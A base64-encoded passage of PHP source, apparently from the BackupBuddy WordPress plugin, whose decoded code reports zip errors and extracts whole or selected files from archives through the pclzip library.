+Z2V0X2lnbm9yZV93YXJuaW5ncygpICkgKSB7CgkJCQkKCQkJCQkJLy8gSWYgd2UgaGF2ZSBhbnkgemlwIGVycm9ycyByZXBvcnRlZCBzaG93IHRoZW0gcmVnYXJkbGVzcwoJCQkJCQlpZiAoIHRydWUgPT0gJGhhdmVfemlwX2Vycm9ycyApIHsKCQkJCQkKCQkJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgc3ByaW50ZiggX18oJ1ppcCBwcm9jZXNzIHJlcG9ydGVkOiAlMSRzIGVycm9yJTIkcycsJ2l0LWwxMG4tYmFja3VwYnVkZHknICksICR6aXBfZXJyb3JzX2NvdW50LCAoICggMSA9PSAkemlwX2Vycm9yc19jb3VudCApID8gJycgOiAncycgKSAgKSApOwoJCQkJCQoJCQkJCQkJZm9yZWFjaCAoICR6aXBfZXJyb3JzIGFzICRsaW5lICkgewoJCQkJCQkKCQkJCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIF9fKCAnWmlwIHByb2Nlc3MgcmVwb3J0ZWQ6ICcsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgLiAkbGluZSApOwoJCQkJCQkKCQkJCQkJCX0KCQkJCQkKCQkJCQkJfQoJCQkJCQoJCQkJCQkvLyBSZXBvcnQgd2hldGhlciBvciBub3QgdGhlIHppcCBmaWxlIHdhcyBjcmVhdGVkICh0aGlzIHdpbGwgYWx3YXlzIGJlIGluIHRoZSB0ZW1wb3JhcnkgbG9jYXRpb24pCQkJCgkJCQkJCWlmICggISBAZmlsZV9leGlzdHMoICR0ZW1wX3ppcCApICkgewoJCQkJCQoJCQkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBfXyggJ1ppcCBBcmNoaXZlIGZpbGUgbm90IGNyZWF0ZWQgLSBjaGVjayBwcm9jZXNzIGV4aXQgY29kZS4nLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApICk7CgkJCQkJCQoJCQkJCQl9IGVsc2UgewoJCQkJCQkKCQkJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgX18oICdaaXAgQXJjaGl2ZSBmaWxlIGNyZWF0ZWQgYnV0IHdpdGggZXJyb3JzL2FjdGlvbmFibGUtd2FybmluZ3Mgc28gd2lsbCBiZSBkZWxldGVkIC0gY2hlY2sgcHJvY2VzcyBleGl0IGNvZGUgYW5kIHdhcm5pbmdzLicsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgKTsKCQoJCQkJCQl9CgkJCQkJCgkJCQkJCS8vIFRoZSBvcGVyYXRpb24gaGFzIGZhaWxlZCBvbmUgd2F5IG9yIGFub3RoZXIuCgkJCQkJCgkJCQkJCSRyZXN1bHQgPSBmYWxzZTsKCQkJCQkKCQkJCQl9IGVsc2UgewoJCQkJCgkJCQkJCS8vIEdvdCBmaWxlIHdpdGggbm8gZXJyb3Igb3Igd2FybmluZ3MgX29yXyB3aXRoIHdhcm5pbmdzIHRoYXQgdGhlIHVzZXIgaGFzIGNob3NlbiB0byBpZ25vcmUKCQkJCQkJLy8gRmlsZSBhbHdheXMgYnVpbHQgaW4gdGVtcG9yYXJ5IGxvY2F0aW9uIHNvIGFsd2F5cyBuZWVkIHRvIG1vdmUgaXQgbGF0ZXIKCQkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ21lc3NhZ2UnLCBfXyggJ1ppcCBBcmNoaXZlIGZpbGUgc3VjY2Vzc2Z1bGx5IGNyZWF0ZWQgd2l0aCBubyBlcnJvcnMgKGFueSBhY3Rpb25hYmxlIHdhcm5pbmdzIGlnbm9yZWQgYnkgdXNlciBzZXR0aW5ncykuJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSApOwoJCQkJCQkKCQkJCQkJJHRoaXMtPmxvZ19hcmNoaXZlX2ZpbGVfc3RhdHMoICR0ZW1wX3ppcCApOwoKCQkJCQkJJHJlc3VsdCA9IHRydWU7CgkJCQkJCQkJCQoJCQkJCX0KCgkJCQl9CgkJCQkKCQkJfQoJCQkKCQkgIAlpZiAoIE5VTEwgIT0gJHphICkgeyB1bnNldCggJHphICk7IH0KCQkgIAkKCQkJcmV0dXJuICRyZXN1bHQ7CgkJCQkJCQkJCQkJCQkJCQoJCX0KCQkKCQkvKioKCQkgKglleHRyYWN0KCkKCQkgKgoJCSAqCUV4dHJhY3RzIHRoZSBjb250ZW50cyBvZiBhIHppcCBmaWxlIHRvIHRoZSBzcGVjaWZpZWQgZGlyZWN0b3J5IHVzaW5nIHRoZSBiZXN0IHVuemlwIG1ldGhvZHMgcG9zc2libGUuCgkJICoJSWYgbm8gc3BlY2lmaWMgaXRlbXMgZ2l2ZW4gdG8gZXh0cmFjdCB0aGVuIGl0J3MgYSBjb21wbGV0ZSB1bnppcAoJCSAqCgkJICoJQHBhcmFtCXN0cmluZwkJJHppcF9maWxlCQkJCQlGdWxsIHBhdGggJiBmaWxlbmFtZSBvZiBaSVAgZmlsZSB0byBleHRyYWN0IGZyb20uCgkJICoJQHBhcmFtCXN0cmluZwkJJGRlc3RpbmF0aW9uX2RpcmVjdG9yeQkJRnVsbCBkaXJlY3RvcnkgcGF0aCB0byBleHRyYWN0IGludG8uCgkJICoJQHBhcmFtCWFycmF5CQkkaXRlbXMJCQkJCQlNYXBwaW5nIG9mIHdoYXQgdG8gZXh0cmFjdCBhbmQgdG8gd2hhdAoJCSAqCUByZXR1cm4JYm9vbAkJCQkJCQkJCXRydWUgb24gc3VjY2VzcyAoYWxsIGV4dHJhY3Rpb25zIHN1Y2Nlc3NmdWwpLCBmYWxzZSBvdGhlcndpc2UKCQkgKi8KCQlwdWJsaWMgZnVuY3Rpb24gZXh0cmFjdCggJHppcF9maWxlLCAkZGVzdGluYXRpb25fZGlyZWN0b3J5ID0gJycsICRpdGVtcyA9IGFycmF5KCkgKSB7CgkJCgkJCSRyZXN1bHQgPSBmYWxzZTsKCQkKCQkJc3dpdGNoICggJHRoaXMtPmdldF9vc190eXBlKCkgKSB7CgkJCQljYXNlIHNlbGY6Ok9TX1RZUEVfTklYOgoJCQkJCWlmICggZW1wdHkoICRpdGVtcyApICkgewoJCQkJCQkkcmVzdWx0ID0gJHRoaXMtPmV4dHJhY3RfZ2VuZXJpY19mdWxsKCAkemlwX2ZpbGUsICRkZXN0aW5hdGlvbl9kaXJlY3RvcnkgKTsKCQkJCQl9IGVsc2UgewoJCQkJCQkkcmVzdWx0ID0gJHRoaXMtPmV4dHJhY3RfZ2VuZXJpY19zZWxlY3RlZCggJHppcF9maWxlLCAkZGVzdGluYXRpb25fZGlyZWN0b3J5LCAkaXRlbXMgKTsJCQkJCQoJCQkJCX0KCQkJCQlicmVhazsKCQkJCWNhc2Ugc2VsZjo6T1NfVFlQRV9XSU46CgkJCQkJaWYgKCBlbXB0eSggJGl0ZW1zICkgKSB7CgkJCQkJCSRyZXN1bHQgPSAkdGhpcy0+ZXh0cmFjdF9nZW5lcmljX2Z1bGwoICR6aXBfZmlsZSwgJGRlc3RpbmF0aW9uX2RpcmVjdG9yeSApOwoJCQkJCX0gZWxzZSB7CgkJCQkJCSRyZXN1bHQgPSAkdGhpcy0+ZXh0cmFjdF9nZW5lcmljX3NlbGVjdGVkKCAkemlwX2ZpbGUsICRkZXN0aW5hdGlvbl9kaXJlY3RvcnksICRpdGVtcyApOwkJCQkJCgkJCQkJfQoJCQkJCWJyZWFrOwoJCQkJZGVmYXVsdDoKCQkJCQkkcmVzdWx0ID0gZmFsc2U7CgkJCX0KCQkJCgkJCXJldHVybiAkcmVzdWx0OwoJCQkKCQl9CgoJCS8qKgoJCSAqCWV4dHJhY3RfZ2VuZXJpY19mdWxsKCkKCQkgKgoJCSAqCUV4dHJhY3RzIHRoZSBjb250ZW50cyBvZiBhIHppcCBmaWxlIHRvIHRoZSBzcGVjaWZpZWQgZGlyZWN0b3J5IHVzaW5nIHRoZSBiZXN0IHVuemlwIG1ldGhvZHMgcG9zc2libGUuCgkJICoKCQkgKglAcGFyYW0Jc3RyaW5nCQkkemlwX2ZpbGUJCQkJCUZ1bGwgcGF0aCAmIGZpbGVuYW1lIG9mIFpJUCBmaWxlIHRvIGV4dHJhY3QgZnJvbS4KCQkgKglAcGFyYW0Jc3RyaW5nCQkkZGVzdGluYXRpb25fZGlyZWN0b3J5CQlGdWxsIGRpcmVjdG9yeSBwYXRoIHRvIGV4dHJhY3QgaW50by4KCQkgKglAcmV0dXJuCWJvb2wJCQkJCQkJCQl0cnVlIG9uIHN1Y2Nlc3MsIGZhbHNlIG90aGVyd2lzZQoJCSAqLwoJCXByb3RlY3RlZCBmdW5jdGlvbiBleHRyYWN0X2dlbmVyaWNfZnVsbCggJHppcF9maWxlLCAkZGVzdGluYXRpb25fZGlyZWN0b3J5ID0gJycgKSB7CgkJCgkJCSRyZXN1bHQgPSBmYWxzZTsKCQkJJHphID0gTlVMTDsKCQkJCQkJCQkKCQkJLy8gVXBkYXRlIHRoZSBkZWZpbml0aW9uIGJlZm9yZSBpdCBpcyB1c2VkIGJ5IGxvYWRpbmcgdGhlIGxpYnJhcnkKCQkJLy8gVGhpcyB3aWxsIG5vdCB3b2sgaWYgcGVyY2hhbmNlIHRoZSBmaWxlIGhhcyBhbHJlYWR5IGJlZW4gbG9hZGVkIDotKAoJCQkvLyBUT0RPOiBOZWVkIGEgdGVtcG9yYXJ5IGRpcmVjdG9yeSB0aGF0IHdlIGNhbiB1c2UgZm9yIHRoaXMKCQkJLy9kZWZpbmUoICdQQ0xaSVBfVEVNUE9SQVJZX0RJUicsICR0ZW1wZGlyICk7CgkJCQoJCQkvLyBUaGlzIHNob3VsZCBnaXZlIHVzIGEgbmV3IGFyY2hpdmUgb2JqZWN0LCBpZiBub3QgY2F0Y2ggaXQgYW5kIGJhaWwgb3V0CgkJCXRyeSB7CgkJCQkJCgkJCQkkemEgPSBuZXcgcGx1Z2luYnVkZHlfUGNsWmlwKCAkemlwX2ZpbGUgKTsKCQkJCSRyZXN1bHQgPSB0cnVlOwoJCQkJCgkJCX0gY2F0Y2ggKCBFeGNlcHRpb24gJGUgKSB7CgkJCQoJCQkJLy8gU29tZXRoaW5nIGZpc2h5IC0gdGhlIG1ldGhvZHMgaW5kaWNhdGVkIHBjbHppcCBidXQgd2UgY291bGRuJ3QgZmluZCB0aGUgY2xhc3MKCQkJCSRlcnJvcl9zdHJpbmcgPSAkZS0+Z2V0TWVzc2FnZSgpOwoJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBzcHJpbnRmKCBfXygncGNsemlwIGluZGljYXRlZCBhcyBhdmFpbGFibGUgbWV0aG9kIGJ1dCBlcnJvciByZXBvcnRlZDogJTEkcycsJ2l0LWwxMG4tYmFja3VwYnVkZHknICksICRlcnJvcl9zdHJpbmcgKSApOwoJCQkJJHJlc3VsdCA9IGZhbHNlOwoJCQkJCgkJCX0KCQkJCgkJCS8vIE9ubHkgY29udGludWUgaWYgd2UgaGF2ZSBhIHZhbGlkIGFyY2hpdmUgb2JqZWN0CgkJCWlmICggdHJ1ZSA9PT0gJHJlc3VsdCApIHsKCQkJIAkKCQkJCS8vIE1ha2Ugc3VyZSB3ZSBvcGVuZWQgdGhlIHppcCBvayBhbmQgaXQgaGFzIGNvbnRlbnQKCQkJCWlmICggKCAkY29udGVudF9saXN0ID0gJHphLT5leHRyYWN0KCBQQ0xaSVBfT1BUX1BBVEgsICRkZXN0aW5hdGlvbl9kaXJlY3RvcnkgKSApICE9PSAwICkgewoJCQkJCgkJCQkJLy8gSG93IG1hbnkgZmlsZXMgLSBtdXN0IGJlID4wIHRvIGhhdmUgZ290IGhlcmUKCQkJCQkkZmlsZV9jb3VudCA9IHNpemVvZiggJGNvbnRlbnRfbGlzdCApOwoJCQkJCQoJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgc3ByaW50ZiggX18oJ3BjbHppcCBleHRyYWN0ZWQgZmlsZSBjb250ZW50cyAoJTEkcyB0byAlMiRzKScsJ2l0LWwxMG4tYmFja3VwYnVkZHknICksICR6aXBfZmlsZSwgJGRlc3RpbmF0aW9uX2RpcmVjdG9yeSApICk7CgoJCQkJCSR0aGlzLT5sb2dfYXJjaGl2ZV9maWxlX3N0YXRzKCAkemlwX2ZpbGUgKTsJCgkJCQkJCgkJCQkJJHJlc3VsdCA9IHRydWU7CgkJCQkJCgkJCQl9IGVsc2UgewoJCQkJCgkJCQkJLy8gQ291bGRuJ3Qgb3BlbiBhcmNoaXZlIC0gd2lsbCByZXR1cm4gZm9yIG1heWJlIGFub3RoZXIgbWV0aG9kIHRvIHRyeQoJCQkJCSRlcnJvcl9zdHJpbmcgPSAkemEtPmVycm9ySW5mbyggdHJ1ZSApOwoJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgc3ByaW50ZiggX18oJ3BjbHppcCBmYWlsZWQgdG8gb3BlbiBmaWxlIHRvIGV4dHJhY3QgY29udGVudHMgKCUxJHMgdG8gJTIkcykgLSBFcnJvciBJbmZvOiAlMyRzLicsJ2l0LWwxMG4tYmFja3VwYnVkZHknICksICR6aXBfZmlsZSwgJGRlc3RpbmF0aW9uX2RpcmVjdG9yeSwgJGVycm9yX3N0cmluZyApICk7CgoJCQkJCS8vIFJldHVybiBhbiBlcnJvciBjb2RlIGFuZCBhIGRlc2NyaXB0aW9uIC0gdGhpcyBuZWVkcyB0byBiZSBoYW5kbGVkIG1vcmUgZ2VuZXJpY2FsbHkKCQkJCQkvLyRyZXN1bHQgPSBhcnJheSggMSwgIlVuYWJsZSB0byBnZXQgYXJjaGl2ZSBjb250ZW50cyIgKTsKCQkJCQkvLyBDdXJyZW50bHkgYXMgd2UgYXJlIHJldHVybmluZyBhbiBhcnJheSBhcyBhIHZhbGlkIHJlc3VsdCB3ZSBqdXN0IHJldHVybiBmYWxzZSBvbiBmYWlsdXJlCgkJCQkJJHJlc3VsdCA9IGZhbHNlOwoKCQkJCX0KCQkJCQkJCQoJCQl9CgkJCQoJCSAgCWlmICggTlVMTCAhPSAkemEgKSB7IHVuc2V0KCAkemEgKTsgfQkJCgkJCQoJCQlyZXR1cm4gJHJlc3VsdDsKCQkJCgkJfQoKCQkvKioKCQkgKglleHRyYWN0X2dlbmVyaWNfc2VsZWN0ZWQoKQoJCSAqCgkJICoJRXh0cmFjdHMgdGhlIGNvbnRlbnRzIG9mIGEgemlwIGZpbGUgdG8gdGhlIHNwZWNpZmllZCBkaXJlY3RvcnkgdXNpbmcgdGhlIGJlc3QgdW56aXAgbWV0aG9kcyBwb3NzaWJsZS4KCQkgKgoJCSAqCUBwYXJhbQlzdHJpbmcJCSR6aXBfZmlsZQkJCQkJRnVsbCBwYXRoICYgZmlsZW5hbWUgb2YgWklQIGZpbGUgdG8gZXh0cmFjdCBmcm9tLgoJCSAqCUBwYXJhbQlzdHJpbmcJCSRkZXN0aW5hdGlvbl9kaXJlY3RvcnkJCUZ1bGwgZGlyZWN0b3J5IHBhdGggdG8gZXh0cmFjdCBpbnRvLgoJCSAqCUBwYXJhbQlhcnJheQkJJGl0ZW1zCQkJCQkJTWFwcGluZyBvZiB3aGF0IHRvIGV4dHJhY3QgYW5kIHRvIHdoYXQKCQkgKglAcmV0dXJuCWJvb2wJCQkJCQkJCQl0cnVlIG9uIHN1Y2Nlc3MgKGFsbCBleHRyYWN0aW9ucyBzdWNjZXNzZnVsKSwgZmFsc2Ugb3RoZXJ3aXNlCgkJICovCgkJcHJvdGVjdGVkIGZ1bmN0aW9uIGV4dHJhY3RfZ2VuZXJpY19zZWxlY3RlZCggJHppcF9maWxlLCAkZGVzdGluYXRpb25fZGlyZWN0b3J5ID0gJycsICRpdGVtcyApIHsKCQkKCQkJJHJlc3VsdCA9IGZhbHNlOwoJCQkkemEgPSBOVUxMOwoJCQkkc3RhdCA9IGFycmF5KCk7CgkJCQoJCQkvLyBUaGlzIHNob3VsZCBnaXZlIHVzIGEgbmV3IGFyY2hpdmUgb2JqZWN0LCBpZiBub3QgY2F0Y2ggaXQgYW5kIGJhaWwgb3V0CgkJCXRyeSB7CgkJCQoJCQkJJHphID0gbmV3IHBsdWdpbmJ1ZGR5X1BjbFppcCggJHppcF9maWxlICk7CgkJCQkkcmVzdWx0ID0gdHJ1ZTsKCQkJCQoJCQl9IGNhdGNoICggRXhjZXB0aW9uICRlICkgewoJCQkKCQkJCS8vIFNvbWV0aGluZyBmaXNoeSAtIHRoZSBtZXRob2RzIGluZGljYXRlZCB6aXBhcmNoaXZlIGJ1dCB3ZSBjb3VsZG4ndCBmaW5kIHRoZSBjbGFzcwoJCQkJJGVycm9yX3N0cmluZyA9ICRlLT5nZXRNZXNzYWdlKCk7CgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIHNwcmludGYoIF9fKCdwY2x6aXAgaW5kaWNhdGVkIGFzIGF2YWlsYWJsZSBtZXRob2QgYnV0IGVycm9yIHJlcG9ydGVkOiAlMSRzJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSwgJGVycm9yX3N0cmluZyApICk7CgkJCQkkcmVzdWx0ID0gZmFsc2U7CgkJCQkKCQkJfQoJCQkKCQkJLy8gT25seSBjb250aW51ZSBpZiB3ZSBoYXZlIGEgdmFsaWQgYXJjaGl2ZSBvYmplY3QKCQkJaWYgKCB0cnVlID09PSAkcmVzdWx0ICkgewoJCQkJCgkJCQkvLyBNYWtlIHN1cmUgd2Ugb3BlbmVkIHRoZSB6aXAgb2sgYW5kIGl0IGhhcyBjb250ZW50CgkJCQlpZiAoICggJGNvbnRlbnRfbGlzdCA9ICR6YS0+bGlzdENvbnRlbnQoKSApICE9PSAwICkgewoJCQkJCgkJCQkJLy8gTm93IHdlIG5lZWQgdG8gdGFrZSBlYWNoIGl0ZW0gYW5kIHJ1biBhbiB1bnppcCBmb3IgaXQgLSB1bmZvcnR1bmF0ZWx5IHRoZXJlIGlzIG5vIGVhc3kgd2F5IG9mIGNvbWJpbmluZwoJCQkJCS8vIGFyYml0cmFyeSBleHRyYWN0aW9ucyBpbnRvIGEgc2luZ2xlIGNvbW1hbmQgaWYgc29tZSBtaWdodCBiZSB0byBhIAoJCQkJCWZvcmVhY2ggKCAkaXRlbXMgYXMgJHdoYXQgPT4gJHdoZXJlICkgewoJCQkKCQkJCQkJJHJlbmFtZV9yZXF1aXJlZCA9IGZhbHNlOwoJCQkJCQkkcmVzdWx0ID0gZmFsc2U7CgkJCQkKCQkJCQkJLy8gRGVjaWRlIGhvdyB0byBleHRyYWN0IGJhc2VkIG9uIHdoZXJlCgkJCQkJCWlmICggZW1wdHkoICR3aGVyZSkgKSB7CgkJCQkJCgkJCQkJCQkvLyBGaXJzdCB3ZSdsbCBleHRyYWN0IGFuZCBqdW5rIHRoZSBwYXRoCgkJCQkJCQkvLyBOb3RlOiBGb3Igc29tZSBvZGQgcmVhc29uIHdoZW4gd2UgaGF2ZSBhICR3aGF0IGZpbGUgdGhhdCBpcyBhIGhpZGRlbiAoZG90KSBmaWxlCgkJCQkJCQkvLyB0aGUgZmlsZV9leGlzdHMoKSB0ZXN0IGluIHBjbHppcCBmb3IgdGhlIGZpbGVwYXRoIHRvIGV4dHJhY3QgdG8gcmV0dXJucyB0cnVlIGV2ZW4KCQkJCQkJCS8vIHRob3VnaCBvbmx5IHRoZSBwYXJlbnQgZGlyZWN0b3J5IGV4aXN0cyBhbmQgbm90IHRoZSBmaWxlIGl0c2VsZi4gTm8gaWRlYSB3aHkgYXQKCQkJCQkJCS8vIHByZXNlbnQuIEJlY2F1c2Ugb2YgdGhhdCB3ZSBoYXZlIHRvIHVzZSB0aGUgUENMX1pJUF9PUFRfUkVQTEFDRV9ORVdFUiBvcHRpb24KCQkJCQkJCS8vIHNvIHRoZSBmYWN0IHRoZSB0ZXN0IHJldHVybnMgdHJ1ZSBpcyBpZ25vcmVkLgoJCQkJCQkJJGV4dHJhY3RfbGlzdCA9ICR6YS0+ZXh0cmFjdCggUENMWklQX09QVF9QQVRILCAkZGVzdGluYXRpb25fZGlyZWN0b3J5LCBQQ0xaSVBfT1BUX0JZX05BTUUsICR3aGF0LCBQQ0xaSVBfT1BUX1JFTU9WRV9BTExfUEFUSCwgUENMWklQX09QVF9SRVBMQUNFX05FV0VSICk7CgkJCQkJCQkJCgkJCQkJCQkvLyBDaGVjayB3aGV0aGVyIHdlIHN1Y2NlZWRlZCBvciBub3QgKHdvdWxkIG9ubHkgYmUgbm8gbGlzdCBhcnJheSBmb3IgYSB6aXAgZmlsZSBwcm9ibGVtKQoJCQkJCQkJLy8gYnV0IGV4dHJhY3Rpb24gb2YgdGhlIGZpbGUgaXRzZWxmIG1heSBzdGlsbCBoYXZlIGZhaWxlZAoJCQkJCQkJJHJlc3VsdCA9ICggJGV4dHJhY3RfbGlzdCAhPT0gMCAgJiYgKCAkZXh0cmFjdF9saXN0WyAwIF1bICdzdGF0dXMnIF0gPT0gJ29rJyApICk7CgkJCQkJCQkJCQkJCQkJCQoJCQkJCQl9IGVsc2VpZiAoICFlbXB0eSggJHdoZXJlICkgKSB7CgkJCQkJCgkJCQkJCQlpZiAoICR3aGF0ID09PSAkd2hlcmUgKSB7CgkJCQkJCQkKCQkJCQkJCQkvLyBDaGVjayBmb3Igd2lsZGNhcmQgZGlyZWN0b3J5IGV4dHJhY3Rpb24gbGlrZSBkaXIvKiA9PiBkaXIvKgoJCQkJCQkJCWlmICggIioiID09IHN1YnN0ciggdHJpbSggJHdoYXQgKSwgLTEgKSApIHsKCgkJCQkJCQkJCS8vIFR1cm4gdGhpcyBpbnRvIGEgcHJlZ19tYXRjaCBwYXR0ZXJuCgkJCQkJCQkJCSR3aGF0bWF0Y2ggPSAifF4iIC4gJHdoYXQgLiAifCI7CQkJCQkJCQkJCgoJCQkJCQkJCQkvLyBGaXJzdCB3ZSdsbCBleHRyYWN0IGJ1dCB3ZSdyZSBub3QganVua2luZyB0aGUgcGF0aHMKCQkJCQkJCQkJLy8gTm90ZTogRm9yIHNvbWUgb2RkIHJlYXNvbiB3aGVuIHdlIGhhdmUgYSAkd2hhdCBmaWxlIHRoYXQgaXMgYSBoaWRkZW4gKGRvdCkgZmlsZQoJCQkJCQkJCQkvLyB0aGUgZmlsZV9leGlzdHMoKSB0ZXN0IGluIHBjbHppcCBmb3IgdGhlIGZpbGVwYXRoIHRvIGV4dHJhY3QgdG8gcmV0dXJucyB0cnVlIGV2ZW4KCQkJCQkJCQkJLy8gdGhvdWdoIG9ubHkgdGhlIHBhcmVudCBkaXJlY3RvcnkgZXhpc3RzIGFuZCBub3QgdGhlIGZpbGUgaXRzZWxmLiBObyBpZGVhIHdoeSBhdAoJCQkJCQkJCQkvLyBwcmVzZW50LiBCZWNhdXNlIG9mIHRoYXQgd2UgaGF2ZSB0byB1c2UgdGhlIFBDTF9aSVBfT1BUX1JFUExBQ0VfTkVXRVIgb3B0aW9uCgkJCQkJCQkJCS8vIHNvIHRoZSBmYWN0IHRoZSB0ZXN0IHJldHVybnMgdHJ1ZSBpcyBpZ25vcmVkLgoJCQkJCQkJCQkkZXh0cmFjdF9saXN0ID0gJHphLT5leHRyYWN0KCBQQ0xaSVBfT1BUX1BBVEgsICRkZXN0aW5hdGlvbl9kaXJlY3RvcnksIFBDTFpJUF9PUFRfQllfUFJFRywgJHdoYXRtYXRjaCwgUENMWklQX09QVF9SRVBMQUNFX05FV0VSICk7CgoJCQkJCQkJCQkvLyBDaGVjayB3aGV0aGVyIHdlIHN1Y2NlZWRlZCBvciBub3QgKHdvdWxkIG9ubHkgYmUgbm8gbGlzdCBhcnJheSBmb3IgYSB6aXAgZmlsZSBwcm9ibGVtKQoJCQkJCQkJCQkvLyBidXQgZXh0cmFjdGlvbiBvZiBpbmRpdmlkdWFsIGZpbGVzIHRoZW1zZWx2ZXMgbWF5IHN0aWxsIGhhdmUgZmFpbGVkCgkJCQkJCQkJCWlmICggMCAhPT0gJGV4dHJhY3RfbGlzdCApIHsKCQkJCQkJCQkJCgkJCQkJCQkJCQkvLyBTbyBmYXIgc28gZ29vZCAtIGFzc3VtZSBldmVyeXRoaW5nIHdpbGwgYmUgb2sKCQkJCQkJCQkJCSRyZXN1bHQgPSB0cnVlOwoJCgkJCQkJCQkJCQkvLyBBdCBsZWFzdCB3ZSBnb3Qgbm8gbWFqb3IgZmFpbHVyZSBzbyBjaGVjayB0aGUgZXh0cmFjdGVkIGZpbGVzCgkJCQkJCQkJCQlmb3JlYWNoICggJGV4dHJhY3RfbGlzdCBhcyAkZmlsZSApIHsKCQkJCQkJCQkJCQoJCQkJCQkJCQkJCWlmICggJ29rJyAhPT0gJGZpbGVbICdzdGF0dXMnIF0gKSB7CgkJCQkJCQkJCQkJCgkJCQkJCQkJCQkJCS8vIE9vcHMgLSB3ZSBmb3VuZCBhIGZpbGUgdGhhdCBkaWRuJ3QgZXh0cmFjdCBvayBzbyBiYWlsIG91dCB3aXRoIGZhbHNlCgkJCQkJCQkJCQkJCSRyZXN1bHQgPSBmYWxzZTsKCQkJCQkJCQkJCQkJYnJlYWs7CgkJCQkJCQkJCQkJCgkJCQkJCQkJCQkJfQoJCQkJCQkJCQkJCgkJCQkJCQkJCQl9CgkJCQkJCQkJCQoJCQkJCQkJCQl9CgkJCQkJCQkJCgkJCQkJCQkJfSBlbHNlIHsKCQkJCQkJCQkKCQkJCQkJCQkJLy8gSXQncyBqdXN0IGEgc2luZ2xlIGZpbGUgZXh0cmFjdGlvbiAtIGJyZWF0aCBhIHNpZ24gb2YgcmVsaWVmCgkJCQkJCQkJCS8vIEV4dHJhY3QgdG8gc2FtZSBkaXJlY3Rvcnkgc3RydWN0dXJlIC0gZG9uJ3QganVuayBwYXRoLCBubyBuZWVkIHRvIGFkZCB3aGVyZSB0byBkZXN0bmF0aW9uIGFzIGF1dG9tYXRpYwoJCQkJCQkJCQkvLyBOb3RlOiBGb3Igc29tZSBvZGQgcmVhc29uIHdoZW4gd2UgaGF2ZSBhICR3aGF0IGZpbGUgdGhhdCBpcyBhIGhpZGRlbiAoZG90KSBmaWxlCgkJCQkJCQkJCS8vIHRoZSBmaWxlX2V4aXN0cygpIHRlc3QgaW4gcGNsemlwIGZvciB0aGUgZmlsZXBhdGggdG8gZXh0cmFjdCB0byByZXR1cm5zIHRydWUgZXZlbgoJCQkJCQkJCQkvLyB0aG91Z2ggb25seSB0aGUgcGFyZW50IGRpcmVjdG9yeSBleGlzdHMgYW5kIG5vdCB0aGUgZmlsZSBpdHNlbGYuIE5vIGlkZWEgd2h5IGF0CgkJCQkJCQkJCS8vIHByZXNlbnQuIEJlY2F1c2Ugb2YgdGhhdCB3ZSBoYXZlIHRvIHVzZSB0aGUgUENMX1pJUF9PUFRfUkVQTEFDRV9ORVdFUiBvcHRpb24KCQkJCQkJCQkJLy8gc28gdGhlIGZhY3QgdGhlIHRlc3QgcmV0dXJucyB0cnVlIGlzIGlnbm9yZWQuCgkJCQkJCQkJCSRleHRyYWN0X2xpc3QgPSAkemEtPmV4dHJhY3QoIFBDTFpJUF9PUFRfUEFUSCwgJGRlc3RpbmF0aW9uX2RpcmVjdG9yeSwgUENMWklQX09QVF9CWV9OQU1FLCAkd2hhdCwgUENMWklQX09QVF9SRVBMQUNFX05FV0VSICk7CgkJCQkJCQkJCQoJCQkJCQkJCQkvLyBDaGVjayB3aGV0aGVyIHdlIHN1Y2NlZWRlZCBvciBub3QgKHdvdWxkIG9ubHkgYmUgbm8gbGlzdCBhcnJheSBmb3IgYSB6aXAgZmlsZSBwcm9ibGVtKQoJCQkJCQkJCQkvLyBidXQgZXh0cmFjdGlvbiBvZiB0aGUgZmlsZSBpdHNlbGYgbWF5IHN0aWxsIGhhdmUgZmFpbGVkCgkJCQkJCQkJCSRyZXN1bHQgPSAoICRleHRyYWN0X2xpc3QgIT09IDAgICYmICggaXNzZXQoICRleHRyYWN0X2xpc3RbIDAgXSApICkgJiYgKCAkZXh0cmFjdF9saXN0WyAwIF1bICdzdGF0dXMnIF0gPT0gJ29rJyApICk7CgoJCQkJCQkJCX0KCQkJCQkJCgkJCQkJCQl9IGVsc2UgewoKCQkJCQkJCQkvLyBGaXJzdCB3ZSdsbCBleHRyYWN0IGFuZCBqdW5rIHRoZSBwYXRoCgkJCQkJCQkJLy8gTm90ZTogRm9yIHNvbWUgb2RkIHJlYXNvbiB3aGVuIHdlIGhhdmUgYSAkd2hhdCBmaWxlIHRoYXQgaXMgYSBoaWRkZW4gKGRvdCkgZmlsZQoJCQkJCQkJCS8vIHRoZSBmaWxlX2V4aXN0cygpIHRlc3QgaW4gcGNsemlwIGZvciB0aGUgZmlsZXBhdGggdG8gZXh0cmFjdCB0byByZXR1cm5zIHRydWUgZXZlbgoJCQkJCQkJCS8vIHRob3VnaCBvbmx5IHRoZSBwYXJlbnQgZGlyZWN0b3J5IGV4aXN0cyBhbmQgbm90IHRoZSBmaWxlIGl0c2VsZi4gTm8gaWRlYSB3aHkgYXQKCQkJCQkJCQkvLyBwcmVzZW50LiBCZWNhdXNlIG9mIHRoYXQgd2UgaGF2ZSB0byB1c2UgdGhlIFBDTF9aSVBfT1BUX1JFUExBQ0VfTkVXRVIgb3B0aW9uCgkJCQkJCQkJLy8gc28gdGhlIGZhY3QgdGhlIHRlc3QgcmV0dXJucyB0cnVlIGlzIGlnbm9yZWQuCgkJCQkJCQkJJGV4dHJhY3RfbGlzdCA9ICR6YS0+ZXh0cmFjdCggUENMWklQX09QVF9QQVRILCAkZGVzdGluYXRpb25fZGlyZWN0b3J5LCBQ